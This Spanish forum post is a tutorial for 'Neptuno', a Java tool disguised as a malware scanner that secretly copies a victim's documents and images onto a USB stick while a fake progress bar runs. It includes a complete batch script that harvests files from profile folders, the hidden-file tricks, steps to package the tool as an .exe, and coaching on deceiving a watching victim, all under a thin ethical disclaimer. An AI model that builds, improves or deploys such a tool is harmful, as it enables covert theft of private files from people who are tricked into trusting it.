Hola a tod@s,
Hace un par de días, un usuario del foro, publicó que requería copiar archivos de segundo plano con la condición de que el usuario no se diera cuenta y creyera que todo estaba normal. Me decidí hoy a crear ese programa con Java.
Creamos un archivo por lotes
Como la mayoría sabrá, los archivos con extensión .bat nos son útiles cuando queremos realizar procesos rápidos. Ahora bien, pueden realizar con el siguiente archivo que les dejaré, una conversión .bat a .exe y realizar la copia de una manera rápida.
A continuación, el archivo .bat que copia los archivos de determinado directorio a "X" carpeta.
@echo off
IF NOT EXIST ".\files\"%USERNAME% MD ".\files\"%USERNAME%
cd ".\files\"%USERNAME%
for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Documents\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Desktop\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Imagenes\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Documentos\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
for /R %USERPROFILE%\Escritorio\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy "%%x" ".\"
EXIT
El ciclo for nos permitirá recorrer todo tipo de archivos con las extensiones que están en los paréntesis en la ruta indicada. Además, el
%USERPROFILE% es el nombre de usuario de la máquina actual.
/R nos sirve para listar los directorios pero también los directorios que están dentro de estos directorios(hagan de cuenta, tienen una carpeta dentro de otra).
Todo esto se copiará en una carpeta llamada "files", la cual vendrá ya creada en nuestra usb correspondiente.
Sin embargo, sabemos que la mejor manera de penetrar un sistema es por medio de las personas, son el eslabón más débil de la cadena.
Comenzaré explicando de qué va Neptuno.
Sin más preámbulo, les dejo lo que viene siendo Neptuno :D.
¿Qué es Neptuno?Es una herramienta que nos permitirá copiar en segundo plano cualquier archivo de nuestra 'víctima' sin que ella pueda notarlo tan fácilmente. Está desarrollado en Java y actualmente es la versión beta.
Requisitos para Neptuno:
- La máquina debe tener Java.
- Se debe poseer paths.txt y Files_copied de manera oculta donde se encuentra nuestro exe.
Características:
- Copia archivos de la ruta que especifiquemos en nuestra archivo paths.txt oculto.
- Realiza la barra de progreso para demostrar que está realizando un "escaneo".
- La interfaz gráfica de usuario muestra un escaneador de archivos al usuario víctima.
- Para mayor confiabilidad, permite copiar y pegar un archivo el cual será "escaneado".
Cabe aclarar que tiene muchas más pros, pero también muchas desventajas(las cuales iré modificando a lo largo de esta semana).
Comencemos viendo como es Neptuno(capturas de pantalla).
(https://i.imgur.com/bmDFk09.png)
Ilustración 1. Login de Neptuno.
(https://i.imgur.com/biea6ZX.png)
Ilustración 2. Neptuno Scanner.
(https://i.imgur.com/nS8AAEu.png)
Ilustración 3. About Neptuno.
En la
ilustración 1. podemos dilucidar que poseemos un Login, el cual nos muestra que poseemos la versión TRIAL o DEMO y que tenemos aproximadamente 30 días para adquirir la versión completa. Además de eso, para ingresar, debemos registrarnos con nuestros datos como nombre, contraseña y email. Realicé esto con el fin de que la persona no sospeche que Neptuno es un Scanner falso y que lo único que va a hacer es extraerle la información de su computadora. Además de todo esto, también pensé en comprar un dominio como:
neptuno.com, para que se tuviera más confianza a la hora de hacer éste tipo de ataque. No lo hice porque no tenía balance, así que será para la próxima ocasión.
Siguiendo con nuestro programa, al presionar en "SignUp" será redireccionado a la pantalla de la
Ilustración 2.Una vez redireccionado, tendremos varias opciones a realizar, de las cuales seleccionaremos la más importante es la de
Category. Cuando estamos en una computadora víctima y por cualquier razón logramos indicarle a la persona de que teníamos un escaner que era súper potente, éste, usualmente se parará atrás de nosotros para ver qué hacemos(a menos de que te tenga mucha confianza, no lo hará). En caso de que se haga atrás de ustedes con un bate (;D) ustedes deben predisponerse para comentarle que el escaneo de tipo
"Advanced" es el mejor y el que le encontrará la mayoría de Malware/Spyware/Adware/entre otras. Las otras opciones que son de
"Privacy" y de
"Select Target" únicamente son visuales, pues no repercuten en nada la copia de la información. Para que quede más claro, no importa si seleccionas el disco local "E:", "H", "J",... siempre la ruta será el disco local "C" donde se irá a copiar los arcivos. Claro está, lo complementamos con nuestro archivo paths.txt(ya lo veremos en los aspectos técnicos).
Básicamente, cuando se oprime click en "Scan" se muestra un mensaje pronosticando que el escaneo tardará un tiempo y que por favor se tenga paciencia. La barra de progreso está destinada por segundos hasta una hora.
Aspectos técnicosFrame del LoginSu interfaz gráfica corresponde a diseño y a posicionamiento de los labels, además de que tiene el botón de
"SignUp" el cual posee lo siguiente:
(https://i.imgur.com/xvjPVAF.png)
Ilustración 4. Evento cuando se oprime click en el botón.
Al darle click derecho en el botón de
"SignUp" -> "Events" -> "Mouse" -> "MouseClicked" podemos notar que nos redirige a lo que sería el método del evento de click. Tenemos el siguiente fragmento de código:
(https://i.imgur.com/qBBxuKF.png)
Ilustración 5. Código que ocurre cuando se presiona click en el botón.
Simplemente con
dispose(); indicamos que se cierre el frame actual, en éste caso, el de Login. Luego creamos un objeto llamado closeCurrentWindow de NeptunoScan(nuestro frame del Scanner) el cual luego de asignado, le enviamos
.setVisible(true); para que se nos muestre el frame.
En el principio del código de nuestro Frame Login, tenemos nuestro constructor y bueno, básicamente lo que se hace en las siguientes líneas de código es llamar una imagen llamada
"EyeNeptuno.png" y redimensionarla a nuestro gusto con el fin que no se pierda el aspecto.
"EyeNeptuno.png" es ésta imagen:
(https://i.imgur.com/sU1l1kx.png)
Ilustración 6. Código para redimensionar la imagen.
(https://i.imgur.com/pfJC5Cu.png)
Ilustración 7. Imagen redimensionada con el código anterior.
Frame de NeptunoScanAquí me extenderé un poco, ya que como sabrán, aquí es donde funciona toda la lógica para que la extracción de los archivos del equipo víctima, sea satisfactoria a un directorio de nuestra usb, por ejemplo.
En la interfaz gráfica de usuario de NeptunoScan, hagamos click derecho en el botón de "Scan" y luego nos vamos a
"Events" -> "Action" -> "actionPerformed":
(https://i.imgur.com/xhx94a6.png)
Ilustración 7. Evento que se genera al presionar click en Scan.
(https://i.imgur.com/sKsnY3d.png)
Ilustración 8. Código que está adentro del botón.
Notemos que hay un condicional, dicho condicional indica que si no se está ejecutando
t, entonces que
t debe comenzar(t.start). Pero se preguntarán qué es
t, pues bien,
t es de tipo Timer y es el que nos proporciona de cuántos en cuántos milisegundos/segundos debe avanzar nuestra barra de progreso. La línea de
jProgressBar1.setIndeterminate(true); nos sirve para que la barra de progreso se muestre punteada.
Barra de progreso(https://i.imgur.com/qoQzSLa.png)
Ilustración 9. Instacia de el Timer y del ActionListener.
Lo que está marcado en amarillo es en lo que se deben fijar. Sabiendo que tenemos ya definidas nuestras variables, procedemos en nuestro constructor a darle color de fondo y demás a nuestra barra y además, realizar una condicional que se basa en la lógica: "Si la barra de progreso es menor a 100, entonces obtenga el valor y súmele 10. Sino, entonces quiere decir que ya llegó a 100 y pare lo que está haciendo(t.stop)". Nuestro Timer lo definimos aquí, suministrando de cuánto en cuánto queremos que fluya nuestra progressbar. Recuerden que está en milisegundos, 1000 segundos sería un segundo.
(https://i.imgur.com/zYVn5QO.png)
Ilustración 10. Lógica de nuestra barra de progreso.
Método de copiar archivosSiguiendo con nuestro código, si notan en el botón, aparte de la barra de progreso y su lógica, está la línea que es
this.copy_all_files();. Esta línea nos permitirá llamar a nuestro método de copy_all_files, que se sitúa casi al tope de nuestra clase.
(https://i.imgur.com/sQsa7Oo.png)
Ilustración 11. Método principal para copia de los archivos.
choice2 es la lista donde seleccionaremos el tipo de escaneo:
(https://i.imgur.com/Awcnlpg.png)
Ilustración 12. La lista de Category se llama Choice2.
Comprendido eso, lo primero que se hace es averiguar si existe el archivo de paths.txt(donde tenemos las rutas que se van a copiar). Éste, debe estar oculto, precisamente porque las personas generalmente poseen las carpetas sin la opción de "ver archivos ocultos".
Ahora bien,
if (hide == true) , si el archivo está oculto, quiere decir que procedemos a realizar la copia de archivos. Sino, nos pondrá "Not file...". Cuando veas ese mensaje, recuerda que se te olvidó crear el archivo de paths.txt, así que deberás crearlo antes de llevarlo a la máquina víctima.
Luego de entrar a la condición de que el archivo esté oculto, simplemente se valida que si selecciona
"Basic", "Medium" o
"Advanced" deberá crear un objeto de métodos llamado
obj.Luego de eso, ejecutamos lo siguiente:
Runtime.getRuntime().exec("attrib +H Files_copied");. De éste modo, podremos hacer que la carpeta de Files_copied esté siempre oculta, cabe recalcar que es ahí donde se pegaran todos los archivos de la máquina a la que le queremos copiar los archivos.
Luego de realizar ese paso, realizamos un ciclo for que va a iterar una colección llamada
save_paths de tipo
ArrayList.Está declarado arriba y además, lo usamos en un método llamado
readPaths(), éste, lo que hace es leer cada una de las líneas de nuestro archivo de texto(paths.txt) y próximamente lo guardará mediante un acumulador en nuestro ArrayList.
(https://i.imgur.com/zkt8UeJ.png)
Ilustración 13. Nuestro archivo de paths.txt
(https://i.imgur.com/EHThv36.png)
Ilustración 14. Método que se encarga de leer nuestro archivo de texto y guardarlo en un ArrayList.
Ya conociendo qué es
save_paths procedo a explicar lo siguiente del ciclo For.
(https://i.imgur.com/zgeYtUE.png)
Ilustración 15. Ciclo for usado para llamar a las clases de Metodos.
Creamos una variable llamada
directory_copy_files de tipo
File pasándole nuestra lista con cada uno de sus elementos(es decir, cada una de sus rutas) y luego de ello, hacemos uso del objeto de Metodos para llamar al método TravelToFantasy, el cual le pasamos dos argumentos de entrada. Los dos argumentos de entrada son:
(argumento1:directorio a copiar, argumento2:directorio a enviar lo copiado).Ahora,
TravelToFantasy se encuentra en nuestra clase Metodos, veamos qué hay ahí.
(https://i.imgur.com/5ruXibb.png)
Ilustración 16. Método TravelToFantasy de la clase Metodos
La lógica que está dentro de éste es, del directorio que le pasamos(
argumento1), nos va a recorrer cada uno de los archivos que está contenido en él, y luego de ello, se le pasa a un nuevo método llamado
CopyToFantasy que recibe esos dos argumentos de entrada.
(https://i.imgur.com/YWnWzIs.png)
Ilustración 17. Método CopyToFantasy de la clase Metodos
En éste método, recibimos los dos argumentos que nos han pasado y posteriormente, copiamos los archivos de la ruta que nos ha llegado(de lo que ha leído en paths.txt) a la carpeta de destino(Files_Copied).
La magia la hace la siguiente línea:
Files.copy(origenPath, conver_resolver, StandardCopyOption.REPLACE_EXISTING);Comprendido eso, lo único que hace falta para que quede nuestra aplicación completa es, exportar a .jar y convertirlo a .exe.
Lo que hacemos es, damos click derecho en
propiedades del proyecto -> Packaging -> Compress JAR File -> OK.(https://i.imgur.com/uuTB2Q2.png)
Ilustración 18. Exportando nuestra aplicación
También se debe configurar en
Run el frame que se va a abrir al principio, en éste caso, es Login, por ello aparece
NeptunoPackage.Login.(https://i.imgur.com/zlvwbuP.png)
Ilustración 19. Exportando nuestra aplicación
Ahora seleccionamos nuestro proyecto y le damos en el martillo de construir.
(https://i.imgur.com/gt5G0jm.png)
Ilustración 20. Exportando nuestra aplicación
Y listo, en la carpeta de
dist ya tendremos nuestra aplicación .jar.
(https://i.imgur.com/eq72wZM.png)
Ilustración 21. Nuestra aplicación exportada.
Si abrimos nuestra aplicación .jar, notaremos que todo funciona correctamente, ya que se abre primeramente el Login y luego los demás frames.
(https://i.imgur.com/jhuTWjo.png)
Ilustración 22. Abriendo nuestra aplicación.
Lo que queda es convertir nuestra aplicación como les mencioné a un ejecutable.
Usaremos una aplicación llamada launch4j, la cual la podremos descargar del siguiente enlace:
Descargar launch4j. (http://launch4j.sourceforge.net/)
La abrimos, la instalamos y nos aparecerá la siguiente GUI:
(https://i.imgur.com/ttj5TEw.png)
Ilustración 23. Abriendo launch4j.
Output file: Seleccionaremos dónde queremos guardar nuestro .exe.
Jar: La aplicación que acabamos de generar.
(https://i.imgur.com/5Skbem3.png)
Ilustración 24. Configuración de launch4j.
Antes de compilarlo, debemos hacer click en la pestaña
"header" indicándole que va a ser
"GUI".Para finalizar, deben irse a la pestaña "JRE" y poner la versión mínima con la que se va a ejecutar, en este caso, es la 1.0.0.
(https://i.imgur.com/dgv6KM5.png)
Ilustración 25. Configuración de launch4j.
Ahora si le damos click en compilar.
(https://i.imgur.com/afTTT5k.png)
Ilustración 26. Configuración de launch4j.
Y listo, ¡ya quedó! nos vamos a nuestra carpeta y podemos ver NeptunoCracked.exe que se creó correctamente. En launch4j también pueden cambiarle el icono si desean.
(https://i.imgur.com/5myDCbu.png)
Ilustración 27. Aplicación convertida a .exe.
La carpeta de NeptunoCracked solo hace falta pasarla a nuestra USB y modificar el paths.txt, añadiéndole las rutas en español. El formato es como está ahí, es decir, si van a añadir la ruta de documentos, sería que pusieran: /documentos/ y nada más.
Ahora las preguntas¿Por qué en Java y no en otro lenguaje?
Estadísticamente, las personas e incluso el sector empresarial tienen instalado Java. Pensé realizarlo en Python, pero vamos, es muchísimo más probable que nuestra víctima tenga Java instalado(generalmente desactualizado) a que posea Python y además, lo tenga en las
variables de entorno.Desventajas
- Solo se pueden copiar archivos de la manera C:/users/usuariox/DIRECTORIO.
- Si el usuario posee o activa la casilla de 'archivos ocultos', todo podría fracasar.
- No es autoejecutable.
Dichas desventajas, en la próxima versión de Neptuno van a mejorar.
ContramedidasAlgunas medidas de precaución frente a este tipo de cosas es, poseer la casilla de archivos ocultos activada. Además de eso, en la próxima versión de Neptuno que suba, intentaré que dichos paths o la el folder, sean menos sospechosos, por ende, lo mejor es trabajar como usuario invitado(por lo de los permisos).
Por hacer
- Realizar la pegada de archivos a un servidor vía ftp(aunque puede tardar mucho).
- Intentar no levantar sospechas con los archivos ocultos.
- Leer los paths en un servidor externo vía internet.
- Autogenerador por si desean modificar una ruta, que lo adapte correctamente en el código.
- Modificar más la interfaz gráfica de usuario, con animaciones.
- Indicarle que también puede ser para sistemas operativos de Gnu/Linux y Mac OSX.
Aclaro de paso, esto está con fines éticos, bajo ninguna circunstancia
VIINVIDEOSHD/VIINACADEMY ni
Underc0de nos responsabilizamos del mal uso o daños causados por Neptuno.
El proyecto para su descarga y/o modificación de código conservando los derechos de autor lo pueden encontrar en el siguiente enlace:
Github: NeptunoScan. (https://github.com/MortalP0ison/Neptuno)
Pueden ver una demostración en la siguiente GIF, muy corta pero sustanciosa.
https://gyazo.com/fa4be8b186c1084688eb07edf23dadbd
Cualquier duda/sugerencia/aporte será bienvenido.
Si poseen alguna duda del código, por favor en comentarios :).
Un saludo.
[/font]
No hay de qué, espero en esta semana sacar una versión más robusta de Neptuno :D.
Saludos.